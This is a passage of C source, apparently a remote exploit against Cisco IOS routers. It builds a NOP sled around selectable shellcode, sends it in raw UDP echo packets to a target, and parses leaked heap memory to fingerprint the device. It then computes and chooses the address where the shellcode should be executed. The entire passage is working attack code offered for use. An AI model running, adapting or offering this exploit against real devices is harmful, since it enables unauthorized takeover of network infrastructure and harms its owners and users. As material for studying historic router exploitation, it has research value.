  729. unsigned char *t;
  730. unsigned int i;
  731.  
  732. t=sc=st=smalloc(PACKETMAX);
  733. //
  734. // calculate the remaining space for nops
  735. //
  736. leak.nop_sled=PACKETMAX-cisco_boxes[shellcode].codelen;
  737. // 
  738. // align
  739. //
  740. while ( (leak.nop_sled % cisco_boxes[shellcode].noplen) != 0) 
  741. leak.nop_sled--;
  742. for (i=0;i< (leak.nop_sled/cisco_boxes[shellcode].noplen) ;i++) {
  743. memcpy(t,cisco_boxes[shellcode].nop,cisco_boxes[shellcode].noplen);
  744. t+=cisco_boxes[shellcode].noplen;
  745. }
  746. // 
  747. // add the real code
  748. //
  749. memcpy(t,cisco_boxes[shellcode].code,cisco_boxes[shellcode].codelen);
  750. t+=cisco_boxes[shellcode].codelen;
  751. sclen=leak.nop_sled + cisco_boxes[shellcode].codelen;
  752. //
  753. // calculate a nop_offset and align
  754. //
  755. leak.nop_offset=leak.nop_sled * 0.8;
  756. while ( (leak.nop_offset % cisco_boxes[shellcode].noplen) != 0) 
  757. leak.nop_offset--;
  758.  
  759. if (cfg.verbose) hexdump(st,sclen);
  760.  
  761. }
  762. packet=UDPecho(&length,sc,sclen);
  763.  
  764. //
  765. // allocate receive buffer
  766. //
  767. rbuf=smalloc(cfg.leakme+0x200);
  768.  
  769. // 
  770. // do it
  771. //
  772. printf("Getting IO memory leak data (%u times) ...\n",r);
  773. while (r--) {
  774. sendpack_IP4(leak.sfd,packet,length);
  775.  
  776. tv.tv_sec=cfg.timeout;
  777. tv.tv_usec=0;
  778. FD_ZERO(&rfds);
  779. FD_SET(leak.udpsfd,&rfds);
  780. select_ret=select(leak.udpsfd+1,&rfds,NULL,NULL,&tv);
  781.  
  782. if (select_ret>0) {
  783. rx=recvfrom(leak.udpsfd,rbuf,cfg.leakme,0,(struct sockaddr *)&frm,&frmlen);
  784. if (rx<0) {
  785. fprintf(stderr,"UDP recvfrom() failed\n");
  786. return (-1);
  787. }
  788. if (cfg.verbose) printf("Received %u bytes data\n",rx);
  789. if (cfg.verbose>1) hexdump(rbuf,rx);
  790. recvflag=1;
  791. // 
  792. // analyze what we got
  793. //
  794. UDPanalyze(rbuf,rx,sc,sclen);
  795. } else {
  796. printf("Timeout at %u - may be lost packet?\n",r);
  797. }
  798. }
  799.  
  800. //
  801. // clean up
  802. //
  803. free(packet);
  804. free(rbuf);
  805. if (st!=NULL) free(st);
  806. close(leak.sfd);
  807. close(leak.udpsfd);
  808. if (cfg.verbose==0) printf("\n"); // be nice
  809.  
  810. if (recvflag) { return 0; } else { return 1; }
  811. }
  812.  
  813.  
  814. unsigned char *UDPecho(
  815. unsigned int *plen, // returned length of packet
  816. unsigned char *payload, // pointer to payload
  817. unsigned int payload_len // length of payload
  818. ) {
  819. unsigned char *pack;
  820. iphdr_t *ip;
  821. udphdr_t *udp;
  822. u_char *pay;
  823. u_char *t;
  824. u_int16_t cs;
  825.  
  826. *plen=sizeof(iphdr_t)+sizeof(udphdr_t)+payload_len;
  827. pack=smalloc(*plen+10);
  828.  
  829. ip=(iphdr_t *)pack;
  830. ip->version=4;
  831. ip->ihl=sizeof(iphdr_t)/4;
  832. ip->ttl=0x80;
  833. ip->protocol=IPPROTO_UDP;
  834. memcpy(&(ip->saddr.s_addr),&(packet_ifconfig.ip.s_addr),IP_ADDR_LEN);
  835. memcpy(&(ip->daddr.s_addr),&(cfg.target_addr),IP_ADDR_LEN);
  836.  
  837. udp=(udphdr_t *)((void *)ip+sizeof(iphdr_t));
  838. udp->sport=htons(LOCALPORT);
  839. udp->dport=htons(7);
  840. udp->length=htons(cfg.leakme);
  841.  
  842. pay=(u_char *)((void *)udp+sizeof(udphdr_t));
  843. t=pay;
  844. memcpy(pay,payload,payload_len);
  845. t+=payload_len;
  846.  
  847. ip->tot_len=htons(*plen);
  848. cs=chksum((u_char *)ip,sizeof(iphdr_t));
  849. ip->check=cs;
  850.  
  851. if (cfg.verbose>1) hexdump(pack,*plen);
  852. return pack;
  853. }
  854.  
  855.  
  856. void UDPanalyze(unsigned char *b, unsigned int len,
  857. unsigned char *expected, unsigned int expected_length) {
  858. #define ST_MAGIC 1
  859. #define ST_PID 2
  860. #define ST_CHECK 3
  861. #define ST_NAME 4
  862. #define ST_PC 5
  863. #define ST_NEXT 6
  864. #define ST_PREV 7
  865. #define ST_SIZE 8
  866. #define ST_REF 9
  867. #define ST_LASTDE 10
  868. #define ST_ID_ME_NOW 100
  869. unsigned char *p;
  870. int state=0;
  871. int i=0;
  872.  
  873. unsigned char *opcode_begin;
  874. unsigned char *block2_next_field;
  875. unsigned int block3_next_val;
  876.  
  877. unsigned int p_name;
  878. unsigned int p_pc;
  879. unsigned int p_next;
  880. unsigned int p_prev;
  881.  
  882.  
  883. opcode_begin=NULL;
  884. block2_next_field=NULL;
  885. block3_next_val=0;
  886.  
  887. if ((!memcmp(b,expected,expected_length))) {
  888. if (cfg.verbose>1) printf("Payload found!\n");
  889. opcode_begin=b;
  890. }
  891.  
  892. p=b;
  893. while ((b+len-4)>p) {
  894.  
  895. if ( (p[0]==0xfd) && (p[1]==0x01) && (p[2]==0x10) && (p[3]==0xDF) ) {
  896. if (cfg.verbose>1) printf("REDZONE MATCH!\n");
  897. else { printf("!"); fflush(stdout); }
  898. state=ST_MAGIC;
  899. p+=4;
  900. }
  901.  
  902. switch (state) {
  903. case ST_MAGIC:
  904. if (cfg.verbose)
  905. printf("MEMORY BLOCK\n");
  906. state++;
  907. p+=4;
  908. break;
  909.  
  910. case ST_PID:
  911. if (cfg.verbose)
  912. printf("\tPID : %08X\n",ntohl(*(unsigned int *)p));
  913. state++;
  914. p+=4;
  915. break;
  916.  
  917. case ST_CHECK:
  918. if (cfg.verbose)
  919. printf("\tAlloc Check: %08X\n",ntohl(*(unsigned int *)p));
  920. state++; 
  921. p+=4;
  922. break;
  923.  
  924. case ST_NAME:
  925. p_name=ntohl(*(unsigned int *)p);
  926. if (cfg.verbose)
  927. printf("\tAlloc Name : %08X\n",p_name);
  928. state++;
  929. p+=4;
  930. break;
  931.  
  932. case ST_PC:
  933. p_pc=ntohl(*(unsigned int *)p);
  934. if (cfg.verbose)
  935. printf("\tAlloc PC : %08X\n",p_pc);
  936. state++;
  937. p+=4;
  938. break;
  939.  
  940. case ST_NEXT:
  941. p_next=ntohl(*(unsigned int *)p);
  942. if (cfg.verbose) 
  943. printf("\tNEXT Block : %08X\n",p_next);
  944. if (block2_next_field==NULL) {
  945. if (cfg.verbose) printf("Assigning as block2_next_field\n");
  946. block2_next_field=p;
  947. } else if (block3_next_val==0) {
  948. if (cfg.verbose) printf("Assigning as block3_next_val\n");
  949. block3_next_val=p_next;
  950. }
  951. state++;
  952. p+=4;
  953. break;
  954.  
  955. case ST_PREV:
  956. p_prev=ntohl(*(unsigned int *)p);
  957. if (cfg.verbose)
  958. printf("\tPREV Block : %08X\n",p_prev);
  959. state++;
  960. p+=4;
  961. break;
  962.  
  963. case ST_SIZE:
  964. if (cfg.verbose)
  965. printf("\tBlock Size : %8u words",
  966. ntohl(*(unsigned int *)p)&0x7FFFFFFF);
  967. if (ntohl(*(unsigned int *)p)&0x80000000) {
  968. if (cfg.verbose)
  969. printf(" (Block in use)\n");
  970. } else {
  971. if (cfg.verbose)
  972. printf(" (Block NOT in use)\n");
  973. }
  974. state++;
  975. p+=4;
  976. break;
  977.  
  978. case ST_REF:
  979. if (cfg.verbose)
  980. printf("\tReferences : %8u\n",ntohl(*(unsigned int *)p));
  981. state++;
  982. p+=4;
  983. break;
  984.  
  985. case ST_LASTDE:
  986. if (cfg.verbose)
  987. printf("\tLast DeAlc : %08X\n",ntohl(*(unsigned int *)p));
  988. state=ST_ID_ME_NOW;
  989. p+=4;
  990. break;
  991.  
  992. //
  993. // Identification 
  994. //
  995. case ST_ID_ME_NOW:
  996.  
  997. i=0;
  998. while ((leak.guess==-1)&&(cisco_boxes[i].name!=NULL)) {
  999. if (
  1000. (p_name>=cisco_boxes[i].PC_start) && 
  1001. (p_name<=cisco_boxes[i].PC_end) &&
  1002. (p_pc>=cisco_boxes[i].PC_start) && 
  1003. (p_pc<=cisco_boxes[i].PC_end) &&
  1004. (p_next>=cisco_boxes[i].IO_start) && 
  1005. (p_next<=cisco_boxes[i].IO_end) &&
  1006. (p_prev>=cisco_boxes[i].IO_start) && 
  1007. (p_prev<=cisco_boxes[i].IO_end)
  1008. ) {
  1009. leak.guess=i;
  1010. break;
  1011. }
  1012. i++;
  1013. }
  1014. state=0;
  1015. p+=4;
  1016. break;
  1017.  
  1018. default:
  1019. p+=1;
  1020.  
  1021. }
  1022. }
  1023.  
  1024. if ( (opcode_begin!=NULL) && (block2_next_field!=NULL) && (block3_next_val!=0) ) {
  1025. unsigned int delta;
  1026. unsigned int a;
  1027. unsigned int i;
  1028. int flag=0;
  1029.  
  1030. delta=(unsigned int)((void*)block2_next_field - (void*)opcode_begin);
  1031. a=block3_next_val-delta;
  1032.  
  1033. if (cfg.verbose) {
  1034. printf("\n");
  1035. printf("Delta between opcode_begin (%p) "
  1036. "and block2_next_field (%p) is %u\n",
  1037. (void*)block2_next_field, (void*)opcode_begin, delta);
  1038. printf("The third block is at 0x%08X\n", block3_next_val);
  1039. printf("Therefore, the code should be located at 0x%08X\n",a);
  1040. }
  1041.  
  1042. for (i=0;i<leak.addrc;i++) {
  1043. if (leak.addrs[i].a==a) {
  1044. leak.addrs[i].count++;
  1045. flag++;
  1046. break;
  1047. }
  1048. }
  1049. if ((flag==0)&&(leak.addrc<MAXADDRS-1)) {
  1050. leak.addrs[leak.addrc++].a=a;
  1051. leak.addrs[leak.addrc].count=1;
  1052. leak.lastaddr=a;
  1053. }
  1054. }
  1055. }
  1056.  
  1057.  
  1058. unsigned int SelectAddress(void) {
  1059. unsigned int the_address;
  1060. int rnd_addr;
  1061. unsigned int i,j;
  1062. addrs_t atmp;
  1063. addrs_t consider[MAXADDRS];
  1064. unsigned int consc=0;
  1065.  
  1066. if (leak.addrc==0) {
  1067. fprintf(stderr,"ERROR: No addresses available. Unable to recover\n");
  1068. return 0;
  1069. }
  1070. for (i=0;i<leak.addrc;i++) 
  1071. printf(" Address 0x%08X (%u times)\n",
  1072. leak.addrs[i].a,
  1073. leak.addrs[i].count);
  1074.  
  1075. //
  1076. // put addresses to consider in another array.
  1077. // We only want those above our threshold, to prevent irregular buffers
  1078. //
  1079. memset(&consider,0,sizeof(consider));
  1080. for (i=0;i<leak.addrc;i++) {
  1081. if (leak.addrs[i].count<LOW_COUNT_THR) {
  1082. printf("Address 0x%08X count below threshold\n",
  1083. leak.addrs[i].a);
  1084. continue;
  1085. }
  1086. consider[consc]=leak.addrs[i];
  1087. consc++;
  1088. }
  1089.  
  1090. //
  1091. // bubble sort addresses, unless we are operating count based, where we 
  1092. // sort by times of appearences
  1093. //
  1094. if (cfg.strategy != S_FREQUENT) {
  1095. for (i=0;i<consc-1;i++) {
  1096. for (j=0;j<(consc-1-i);j++) {
  1097. if (consider[j+1].a < consider[j].a) {
  1098. atmp=consider[j];
  1099. consider[j] = consider[j+1];
  1100. consider[j+1] = atmp;
  1101. }
  1102. }
  1103. }
  1104. } else {
  1105. for (i=0;i<consc-1;i++) {
  1106. for (j=0;j<(consc-1-i);j++) {
  1107. if (consider[j+1].count < consider[j].count) {
  1108. atmp=consider[j];
  1109. consider[j] = consider[j+1];
  1110. consider[j+1] = atmp;
  1111. }
  1112. }
  1113. }
  1114. }
  1115.  
  1116. printf("Cleaned up, remaining addresses %u\n",consc);
  1117. if (consc==0) {
  1118. fprintf(stderr,"ERROR: No addresses left. Unable to recover\n"
  1119. "You can try to decrease LOW_COUNT_THR in the source\n");
  1120. return 0;
  1121. }
  1122. for (i=0;i<consc;i++) 
  1123. printf(" Address 0x%08X (%u times)\n",
  1124. consider[i].a,
  1125. consider[i].count);
  1126.  
  1127.  
  1128.  
  1129. switch (cfg.strategy) {
  1130. case S_RANDOM: 
  1131. {
  1132. srand((unsigned long)time(NULL));
  1133. rnd_addr=(int)(((float)consc-1)*rand()/(RAND_MAX+1.0));
  1134. the_address=consider[rnd_addr].a + leak.nop_offset;
  1135. printf("Use pseudo-randomly selected address 0x%08X (0x%08X)\n",
  1136. the_address,consider[rnd_addr].a);
  1137. }
  1138. break;
  1139. case S_LAST: 
  1140. {
  1141. the_address=leak.lastaddr + leak.nop_offset;
  1142. printf("Using last address 0x%08X\n",the_address);
  1143. }
  1144. break;
  1145. case S_SMALLEST:
  1146. {
  1147. if (consc==1) {
  1148. the_address= consider[0].a + leak.nop_offset;
  1149. printf("Using smallest address 0x%08X (0x%08X)\n",
  1150. the_address,consider[0].a);
  1151. } else if (consc==2) {
  1152. the_address= consider[1].a + leak.nop_offset;
  1153. printf("Using second smallest address 0x%08X (0x%08X)\n",
  1154. the_address,consider[1].a);
  1155. } else {
  1156. the_address= consider[2].a + leak.nop_offset;
  1157. printf("Using third smallest address 0x%08X (0x%08X)\n",
  1158. the_address,consider[2].a);
  1159. }
  1160. }
  1161. break;
  1162. case S_HIGHEST:
  1163. {
  1164. the_address= consider[consc-1].a + leak.nop_offset;
  1165. printf("Using highest address 0x%08X (0x%08X)\n",
  1166. the_address,consider[consc-1].a);
  1167. }
  1168. break;
  1169. case S_FREQUENT:
  1170. {
  1171. // already sorted by frequency
  1172. the_address= consider[consc-1].a + leak.nop_offset;
  1173. printf("Using most frequent address 0x%08X (0x%08X)\n",
  1174. the_address,consider[consc-1].a);
  1175. }
  1176. break;
  1177. default:
  1178. fprintf(stderr,"ERROR: unknown address strategy selected\n");
  1179. return (0);
  1180. }
  1181.  
  1182. return the_address;
  1183. }
  1184.